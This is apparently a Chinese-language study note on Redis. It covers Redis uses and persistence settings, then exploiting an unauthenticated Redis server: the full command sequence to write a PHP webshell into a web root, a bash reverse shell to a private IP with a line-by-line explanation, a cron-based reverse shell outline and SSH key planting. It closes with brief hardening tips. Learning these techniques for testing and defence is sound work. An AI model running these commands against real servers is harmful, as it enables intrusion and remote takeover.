一、Redis相关知识
1、常见用途
缓存、分布式session、分布式锁、分布式全局ID、计数器、限流、列表、抽奖、标签、排行榜
2、Redis为什么这么流行?
(1)数据类型丰富,应用场景广泛
 (2)纯内存的数据结构,读写速度快
 (3)功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)
3、Redis持久化机制
(1)RDB :Redis DataBase(默认)
 (2)AOF :Append Only File
 配置:
 (1)save 3600 1#自动触发规则
 (2)dbfilename dump.rdb #文件名
 (3)dir ./ #存储路径
 手动触发保存命令: save / bgsave
 动态修改配置
 config set:动态修改配置,重启以后失效
 config set dir /www/admin/localhost_80/wwwroot
 config set dbfilename redis.php
二、如何利用Redis实现攻击
1、webshell提权
前提:有HTTP服务器、知道文件保存路径、6379端口开放且无密码
redis-cli -h 192.168.142.66 -p 6379     #连接到6379端口(需要没有设置密码)
config set dir /www/admin/localhost_80/wwwroot     #修改存储路径
config set dbfilename redis.php        #修改文件名(php后缀)
set x " <?php @eval($_POST[cmd]); ?>"  #任意值写入一句话木马
save    #保存
#再用蚁剑连接即可
 
2、反弹连接

 
2.1、适用:
(1)在内网,只有私有IP
 (2)IP动态变化
 (3)6379端口不允许入方向
 (4)—句话木马被杀软删除
2.2、实现:
1、监听端口
 
2、建立连接
 (看机器有什么环境,通过命令直接连接,或者访问代码文件)
 
 
 
(*配合msf监听模块使用)
命令解析:
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
bash -i   ——打开交互式终端
/dev/tcp/192.168.142.44/7777    ——建立TCP远程连接
 >&——将标准错误输出合并到标准输出中
0>&1——将标准输入重定向到标准输出中
标准输入(stdin):代码为0,使用<或<<;
标准输出(stdout):代码为1,使用>或>>;
标准错误输出(stderr):代码为2,使用2>或2>>
 
2.3、总结
流程
 1、监听端口
 2、执行命令,或者上传payload访问,建立连接
 怎么上传?
 1、文件上传漏洞
 2、写入文件: MySQL、Redis、CMS
 3、文本编辑命令: tee (vulnhub-breach). test.py (vulnh
 ub-DC9)
 怎么执行?
 访问或者定时任务自动触发
2.4、Redis写入反弹连接任务
定时任务
 Linux cron表达式
 
cron文件牛存储路径
 
3、SSH key免密登录
3.1、流程
1、客户端生成密钥对(公钥、私钥)
 2、客户端把公钥发给服务端保存(正常情况需要密码)
 3、客户端用私钥加密消息,发给服务端
 4、服务端用公钥解密,解密成功,说明密钥匹配
 5、客户端免密登录成功
3.2、Redis利用SSH Key提权流程
1、控制机连接到Redis
 2、向$HOME/.ssh/authorized_keys写入公钥
 3、ssh -i ./id_rsa user@IP 使用私钥免密登录
 4、执行后续操作
三、Redis加固
1、限制访问IP
 2、修改默认端口
 3、使用密码访问
 4、不要用root运行Redis










